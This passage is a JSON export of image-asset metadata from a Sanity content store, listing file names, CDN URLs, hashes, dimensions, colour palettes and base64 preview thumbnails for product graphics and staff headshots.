{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4a37","foreground":"#fff","population":6.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#255f34","foreground":"#fff","population":3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#698477","foreground":"#fff","population":6.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adb7cc","foreground":"#000","population":0.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#afbae4","foreground":"#000","population":0.77,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#698477","foreground":"#fff","population":6.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cba331","foreground":"#000","population":1.19,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"vidio-customer-img.jpg","path":"images/sczeoy4w/production/9e509c83f325f0dda7597ec10d76f488dc411ae2-1920x1037.jpg","sha1hash":"9e509c83f325f0dda7597ec10d76f488dc411ae2","size":1382209,"uploadId":"mHeLi6EnhFY79GhyeKMs0nUV0jWjbITM","url":"https://cdn.sanity.io/images/sczeoy4w/production/9e509c83f325f0dda7597ec10d76f488dc411ae2-1920x1037.jpg"} {"_createdAt":"2024-08-14T19:40:11Z","_id":"image-9e5c5708f125058871d63697871d7ba7a9cdc16d-800x800-jpg","_rev":"84WPrb5nuDCbXwNScNV9V5","_type":"sanity.imageAsset","_updatedAt":"2024-08-14T19:40:11Z","assetId":"9e5c5708f125058871d63697871d7ba7a9cdc16d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e*M%l?of.9bb=|~qWBxuofIoS#ayMxoeM{xuofaxj@ozt7fQRjaxof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYIBQf/xAAoEAACAQQBAgQHAAAAAAAAAAABAgMABAUGEQcSExQhYRYXMTJBQnH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAgP/xAAZEQADAQEBAAAAAAAAAAAAAAAAAQIDMTL/2gAMAwEAAhEDEQA/APeuou0/Dtjbw25Vb69fwoWf7VP5Y/yo3Wt8yuJ221wWy3MF7DeDmG7QdvBP6kVK9bdtsfmTgrJbhJ4rdW8VBwwRj9OfeovqxmYYIsWbeZTdrIJVdBwVA96xq2rSFZ5TWTp9Nf0qR0jb8ZmNXx9556HvaIBwzgEMB60rYKYn2aMQ7jKyM/crAgk8nmqrrG/fa4OXtRXe2BYqOOTSlHr0hc+aOZrE0q4lAsjqO4+gNKUqmSuH/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#46342e","foreground":"#fff","population":2.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#261404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8a6254","foreground":"#fff","population":4.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c49684","foreground":"#000","population":0.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5afa1","foreground":"#000","population":1.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a6254","foreground":"#fff","population":4.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#be6541","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Jess Headshot.jpeg","path":"images/sczeoy4w/production/9e5c5708f125058871d63697871d7ba7a9cdc16d-800x800.jpg","sha1hash":"9e5c5708f125058871d63697871d7ba7a9cdc16d","size":85267,"uploadId":"k0WmzHMs5BrW5Ka1r0Y71CAYkafweQYw","url":"https://cdn.sanity.io/images/sczeoy4w/production/9e5c5708f125058871d63697871d7ba7a9cdc16d-800x800.jpg"} {"_createdAt":"2023-11-17T13:10:22Z","_id":"image-9e84d35381f10b91e2020c1bcdf0d747e643b86f-1055x616-png","_rev":"Arp4NzaYseKQ5hw9dTFcK6","_type":"sanity.imageAsset","_updatedAt":"2023-11-17T13:10:22Z","assetId":"9e84d35381f10b91e2020c1bcdf0d747e643b86f","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7126623376623376,"height":616,"width":1055},"exif":{"ColorSpace":1,"PixelXDimension":1055,"PixelYDimension":616,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABRklEQVQoka2RPUtDMRSG+6vdnMV/4ChicVGHguBicSioIHWwHexQa7G22OT23ubm8yR5JZfbpbaCtCc8S0geznlPg/MMjHGUpUTwATHGnWgopZCw1lUXqeIa65WebRWGEBBiRPAeVmio7xx6lsFOGWiewSsN8h7kA3xN+rNVGOuurLSYdEd4u3zA8LyNr9MbZNd3KAcj5EWJXCjIehpjDIiownu/WagKhf5tD/dHLTwdNtE/OMH4+AyLx1fwWQbOCiwLASFElbcxtoqJaIvQSIv3lzG6V8/oXXQwbLYxa3UgBh8oWQGxWEKWElLKOnML59zmDtNJ2Yhcgk04sk8GMeXQLIeTGpQ6cQRPvuooSVZZhrAhwxXGGuSiwGKZo1QSjujPBWxdSqzRVoMLjnnBIKSoRtpJSJ6grIayCo7+L/sl3Ad7F/4AmD+mtmSW4YAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#54697a","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#651f44","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b36fa7","foreground":"#fff","population":0.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ce9fb5","foreground":"#000","population":0.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#97c4e4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b36fa7","foreground":"#fff","population":0.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc3a7f","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-integrations-done.png","path":"images/sczeoy4w/production/9e84d35381f10b91e2020c1bcdf0d747e643b86f-1055x616.png","sha1hash":"9e84d35381f10b91e2020c1bcdf0d747e643b86f","size":82228,"uploadId":"akTTG43wKdRXoseLbQktLh5Mo9hEKbBy","url":"https://cdn.sanity.io/images/sczeoy4w/production/9e84d35381f10b91e2020c1bcdf0d747e643b86f-1055x616.png"} {"_createdAt":"2023-01-10T14:32:21Z","_id":"image-9e914ea69f18b3bcbdd9633adb3b4279b361be65-645x645-jpg","_rev":"et7UlfrTeMxFNLKIJ6Ba2E","_type":"sanity.imageAsset","_updatedAt":"2023-01-10T14:32:21Z","assetId":"9e914ea69f18b3bcbdd9633adb3b4279b361be65","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCHwrtTd8J]*EN%Ft1I;R*57%~wf$+EMofnOV_M|s:sk^%$~s+xuoN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":645,"width":645},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAQFBgMH/8QAJhAAAQMDAwQCAwAAAAAAAAAAAgEDBAAFEQYSIRMUMUEHIiOBkf/EABYBAQEBAAAAAAAAAAAAAAAAAAUDBP/EAB0RAAEEAwEBAAAAAAAAAAAAAAEAAgMRBBIhMRP/2gAMAwEAAhEDEQA/AJsK5IzZpzT7+9kAIunjxVTY7uysdW30HtB/I6365qsuFyhPWuQ9BeNe5ZQ9hDwmalWWc0GmG5HQbFVbUXlNPKJ7ojIDmyAkV4lsFocw2b9XRu9xo+9sesgIS7dg8YzxSqqFAn35nvoDLhRzJUFRTCcUpmKVmg2HULNC/wCjtTy1vdQaPs9mOPChR1SOUdz6kWcbU4wtZjTzDcnRosvDkFQx/WaUrBIbfZSkPGml6D8URWm9HsgCKgi6aJ/aUpV4wNQoPJ2K/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b6651","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#693d15","foreground":"#fff","population":5.45,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dbcdc0","foreground":"#000","population":7.04,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbcdc0","foreground":"#000","population":7.04,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#79c4ec","foreground":"#000","population":0.37,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f6f56","foreground":"#fff","population":2.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1650b1","foreground":"#fff","population":1.34,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"kate-macdonald.jpg","path":"images/sczeoy4w/production/9e914ea69f18b3bcbdd9633adb3b4279b361be65-645x645.jpg","sha1hash":"9e914ea69f18b3bcbdd9633adb3b4279b361be65","size":46969,"uploadId":"ZpVDVyBHV9I4Qn3q5LQpXdtUHxQGTSp1","url":"https://cdn.sanity.io/images/sczeoy4w/production/9e914ea69f18b3bcbdd9633adb3b4279b361be65-645x645.jpg"} {"_createdAt":"2024-08-28T04:57:16Z","_id":"image-9ebd2c4af35e6ec0b703aed08211d39b5bac2930-1200x628-png","_rev":"Rx1Nho763d29lawKrXUogV","_type":"sanity.imageAsset","_updatedAt":"2024-08-28T04:57:16Z","assetId":"9ebd2c4af35e6ec0b703aed08211d39b5bac2930","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB8N*cxQITs.Mx?wk9M{j]RkD%WBt7WEt6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACP0lEQVQokR3NeU/aYACA8X6DxUEPepe2UIuLKAydjCkZZ5Fa3goFHRpZxKwoaGBjAgLDYwOvLoYgug+7aPL8+8sDIXReXij7V2r+4MnyavNDuB2K9IORwdLaYGn1YuXz8GPs9lP8byj+N7A2WgheBqM3objleX+OC00I47YCoVos3YmrvXVwqRkjfesuk79PZy0FWGpuvJGfqsZTpvCs6OOwcpcEk3hm6l0ZUVIXQpl8IFSLKK3YejetX4HCdSZ/o+bu1Ky1YTzo249aYarmptniP2P3SSs8KvpzMDp2L44Yz/AF+4NHkVQr8XreyA1TYJjQRkntNqVbiv6QBOPU5gRsTYydSbb4GFHHc4Eh67liPNcveGG5Ek93klo/lv6lZC6T2u+Y+ieavg4nR6uJm6j6kABjBVgp/V4B1nJ4yHnOCHePka+gGccmKRSl+QPJa7rmK7OLx7KvIfuasu/U5T11eztzgfN3SxeyvyP7Wh5/V5jvE642LnYoaQC9QcBbbNOGGzZy20bu2KkSwpQR1kS5o9equFDHhe+o8xjlarjYJKUe4e7iYgsX25ANBTShc85t2lXCuD0buWen9mH6G8IewowJ0wcIe4hyNZStotwJLrZIaUC4uw6hifENCMYyAg1m3UVxrkzwX+1UyU7tI7SJskcIW4HpA5gxUa6KcccY3yBcZy/Y1XbwDcxZh2YwAOM6ShoI8wWmdu1kCabLKGNiXBXlqghjImwFc544+Dou/CClHin1cfGng687+Pp/5g2sEkqHBMoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4570","foreground":"#fff","population":1.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":8.27,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d5dced","foreground":"#000","population":9.07,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7a7fc6","foreground":"#fff","population":0.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5dced","foreground":"#000","population":9.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f96","foreground":"#fff","population":1.94,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b74549","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover (2).png","path":"images/sczeoy4w/production/9ebd2c4af35e6ec0b703aed08211d39b5bac2930-1200x628.png","sha1hash":"9ebd2c4af35e6ec0b703aed08211d39b5bac2930","size":162498,"uploadId":"oNCFKjQEIc22lDow4K7kwBUXa6TfZv8M","url":"https://cdn.sanity.io/images/sczeoy4w/production/9ebd2c4af35e6ec0b703aed08211d39b5bac2930-1200x628.png"} {"_createdAt":"2022-10-26T08:32:30Z","_id":"image-9eedbaa3cf7ae7ef65393671b00f4d0a2020b740-2500x1308-jpg","_rev":"ekhq2FUysTeCYyFMjoCkBL","_type":"sanity.imageAsset","_updatedAt":"2022-10-26T08:34:18Z","altText":"Bring order out of data chaos with real-time streaming analytics","assetId":"9eedbaa3cf7ae7ef65393671b00f4d0a2020b740","description":"Perform aggregations over your data to your reports, as well as digging deeper into individual events so you don't lose a single detail. You’ll never know how much data there is “inside the data” until you start analyzing it.","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMHBf/EACIQAAIBBAEEAwAAAAAAAAAAAAECAwAEBRESByExQSJRcf/EABYBAQEBAAAAAAAAAAAAAAAAAAMCBP/EACERAAEDAwQDAAAAAAAAAAAAAAEAAgMRIVIEElFxU5Hh/9oADAMBAAIRAxEAPwC7ZjORWGZjs3jvXMmvnGu0G/VOy2RjxtlNcvJLyj8IzefqtqBQZJNgHv7FRrqrLIuXuEEjhDLGCoY6NHNKY3NGRp1YpoYRIHHEV7uEsdW8gGccbY6YgbGiKKi+fPHKzhew5HsP2iq2nkrQNaPE319X/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#39476b","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#122a48","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6d09","foreground":"#fff","population":2.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbbeab","foreground":"#000","population":0.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdd62","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#98836a","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6d09","foreground":"#fff","population":2.09,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Streaming_data_analytics_in_the_real_world_Visuals_data.jpg","path":"images/sczeoy4w/production/9eedbaa3cf7ae7ef65393671b00f4d0a2020b740-2500x1308.jpg","sha1hash":"9eedbaa3cf7ae7ef65393671b00f4d0a2020b740","size":889775,"title":"Bring order out of data chaos with real-time streaming analytics","uploadId":"wePhmeQc9n26Mv080NK7HyzzPcGqsLwN","url":"https://cdn.sanity.io/images/sczeoy4w/production/9eedbaa3cf7ae7ef65393671b00f4d0a2020b740-2500x1308.jpg"} {"_createdAt":"2024-01-02T13:27:24Z","_id":"image-9ef9a405361b4679b006293ce83b7a5bff06ae0f-3518x1400-png","_rev":"sg5cBJWkRHo7pkcz4gmHOz","_type":"sanity.imageAsset","_updatedAt":"2024-01-02T13:27:24Z","assetId":"9ef9a405361b4679b006293ce83b7a5bff06ae0f","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.512857142857143,"height":1400,"width":3518},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAABYlAAAWJQFJUiTwAAAA+klEQVQYlY2QS2/DIBCE/f//n6UoJ5TItcEEbGAfPJZWxOqhp2Y02tN8o9FO3/+p9x5jfD6fWuvjOLz3x3EgoohMn8AA8LWu27Y556y1xpjzPGutH8HMvFu7afNyzph9XVfnfCnlD9zfvoDrXhIRIk5AQDkhxQTMecxuvxLpTXptXWSkRaSUQkQ5j5xIL7WXKpdFRulERIiIRJwrcEtUkSsxp5T2fX88HlprRGxtMJwLjgkQ3poQMcaYAJjLG25A5YzRWquUmuf5fr9rY0Z5aYAUQrhKlVJTzhkAiLC2Vluv0nNtCcB7vyzL7Xab51kplWAEiEc4hHD9/Ae4u86HCBIOOwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e4b66","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#acbcce","foreground":"#000","population":0.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbcce","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4f0f7","foreground":"#000","population":0.11,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c849c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3a91c4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cdc-kafka.png","path":"images/sczeoy4w/production/9ef9a405361b4679b006293ce83b7a5bff06ae0f-3518x1400.png","sha1hash":"9ef9a405361b4679b006293ce83b7a5bff06ae0f","size":140672,"uploadId":"MisxJuaVQbWbVYR8HEKjEtbCpfY5s2s4","url":"https://cdn.sanity.io/images/sczeoy4w/production/9ef9a405361b4679b006293ce83b7a5bff06ae0f-3518x1400.png"} {"_createdAt":"2022-06-30T19:56:51Z","_id":"image-9f032e438dca8524edfe0af74ba9c2dd143837b0-600x277-png","_rev":"cEPH2uRN58AU2lp9QO7fmz","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:14Z","assetId":"9f032e438dca8524edfe0af74ba9c2dd143837b0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M15Ey,%M9Ft7WXRPWBRjjZxu~qoy9FWBWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1660649819494586,"height":277,"width":600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABOUlEQVQokU2RC5LcIAxE5yBrJLUkPjbeyST+juf+50qwXbWhqK5G6AkQD2FWESGirgPzs9Z92459P7Z9W5ZtmU9dl2kah0FFOHQcAnVd+Pp6uFn22PgQlCibDiXXvtRShpKbb5qGnHI0A4OCEF38w81zig4xDlEoCjnYlZvi9CC/gmATMiFlkv/hqHCh1DLEVFzFlPXMAzdtXrj5C6YLdi8pRTc3jabuam5tYaoGMzVTVehtVBXA3aPzzTH6ueMKhQCAtvnD3Ng9AOEbVksx2pnvIiACc6vODOYzLtePnJBAxKDCHLruoUCK7ebfdXzWmmPsc3qO41BKn/I41Nr3JaVxqONQDWpASdlV28mh65L779frcxyf93t6/Zpfz8++7+u2TtP0Z56nZZ2XY3+v09w6K5LcDfgH/wVqBU8gYphgqgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c3434","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64642c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b8b488","foreground":"#000","population":0.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8b488","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6d6a2","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#94947c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b1b14d","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9f032e438dca8524edfe0af74ba9c2dd143837b0-600x277.png","path":"images/sczeoy4w/production/9f032e438dca8524edfe0af74ba9c2dd143837b0-600x277.png","sha1hash":"9f032e438dca8524edfe0af74ba9c2dd143837b0","size":21713,"uploadId":"AlLf78LjOMNCVM3Cftwp2cQsztgKORtH","url":"https://cdn.sanity.io/images/sczeoy4w/production/9f032e438dca8524edfe0af74ba9c2dd143837b0-600x277.png"} {"_createdAt":"2022-06-30T19:56:54Z","_id":"image-9f39082f5816a77435b9c954e72afd1fcb2b43b0-750x194-png","_rev":"CK1sLU2mnwa3vmbYWEbH6Y","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:16Z","assetId":"9f39082f5816a77435b9c954e72afd1fcb2b43b0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D05OHPs;IU?H0K00t7s:IUj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.865979381443299,"height":194,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAyklEQVQYlS2NWW7DMBBDfZJoVo0ka7TZcIoG6P2PVTgJwD8+Pm5CpIiRqMTopXgpOaoSUgiMGEWEiACUJVvKZkpMIWAI8HhsgiSAAhDfCkVkRAb4jE3VhBVRkJRYb+DmGQBD2ITIiBNLIjbiSByZjUWJPs9FNQunb+Sd28iIW1Id1Vdr0315m60P915rzUmZTXW6n6Mfva3eVmt3u1fP2VQ3E52tnWuu0dcYx1qj970Ui0oAOcaf6/p7vX6f1/M8ruNYY7a95nSr/wHSJy4wnZXA/AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c2c36","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141404","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#868384","foreground":"#fff","population":4.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8a7a7","foreground":"#000","population":0.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8e890","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#868384","foreground":"#fff","population":4.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4d42a","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9f39082f5816a77435b9c954e72afd1fcb2b43b0-750x194.png","path":"images/sczeoy4w/production/9f39082f5816a77435b9c954e72afd1fcb2b43b0-750x194.png","sha1hash":"9f39082f5816a77435b9c954e72afd1fcb2b43b0","size":22339,"uploadId":"m1S8mJqdF90LusX5GNjKJF6SQS87cJtU","url":"https://cdn.sanity.io/images/sczeoy4w/production/9f39082f5816a77435b9c954e72afd1fcb2b43b0-750x194.png"} {"_createdAt":"2023-01-24T08:53:56Z","_id":"image-9f4444e31987627f5942c9b1f0753abbb0fc7e28-942x434-png","_rev":"xxq72TYoCux1QbSIdExej5","_type":"sanity.imageAsset","_updatedAt":"2023-01-24T08:53:56Z","assetId":"9f4444e31987627f5942c9b1f0753abbb0fc7e28","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1705069124423964,"height":434,"width":942},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA4UlEQVQokY2Q62rDMAxG8z5JbGmxHdmWL62zrE1SSqGDsfd/kJGsbH82msOHsBBHIFflfHtd7mW5l8tHuX6m6T2+3cJ45eHijosrszsuvsyuLH7N2trDRPnUp1PlOafDkMqYhimNcxzOnAcXsuVkOW95PFxYQz5p8qh62ZlKK+2cDzFyCByCZzbGICI8wN+KCIgSQAjRNE1d1xUAElHYYPZEhIjfs6dUiC9EFGNkZudXueu6n91PZNWpvu+ttVprpZQxRmsNALtkkCCFlFK2G2KjbdtdctO0e877T971N3/KX5LxapoQ2I5gAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3c56","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c3e62","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#939596","foreground":"#fff","population":1.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#939596","foreground":"#fff","population":1.73,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#97bbe1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6885a2","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#387dc6","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"add-topic.png","path":"images/sczeoy4w/production/9f4444e31987627f5942c9b1f0753abbb0fc7e28-942x434.png","sha1hash":"9f4444e31987627f5942c9b1f0753abbb0fc7e28","size":11277,"uploadId":"YFH19i2aAuUC3Y5WbHrUY9jkhD6KZowL","url":"https://cdn.sanity.io/images/sczeoy4w/production/9f4444e31987627f5942c9b1f0753abbb0fc7e28-942x434.png"} {"_createdAt":"2023-05-02T15:35:33Z","_id":"image-9f4932d474515877c0d991fab2bf847b1d9c7344-800x800-jpg","_rev":"rJUhHYnxPdW15WAgs3NIAe","_type":"sanity.imageAsset","_updatedAt":"2023-05-02T15:40:47Z","altText":"Ian Massingham","assetId":"9f4932d474515877c0d991fab2bf847b1d9c7344","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAcIAwQG/8QAJRAAAgIBAgYCAwAAAAAAAAAAAQIAAwQFBwYREhMhcTFBFDJR/8QAFQEBAQAAAAAAAAAAAAAAAAAABAP/xAAaEQEAAgMBAAAAAAAAAAAAAAAAAQIREjET/9oADAMBAAIRAxEAPwCedytWt03S6EpvNLXWhWZfnp++Uz8IZq2qqLe9qlR+8ind3cbAzDi0YGO9tNb9TZP89Tqts+KNLvtxMTvHuWUdaM58evcPaZ3jHCqaeU56l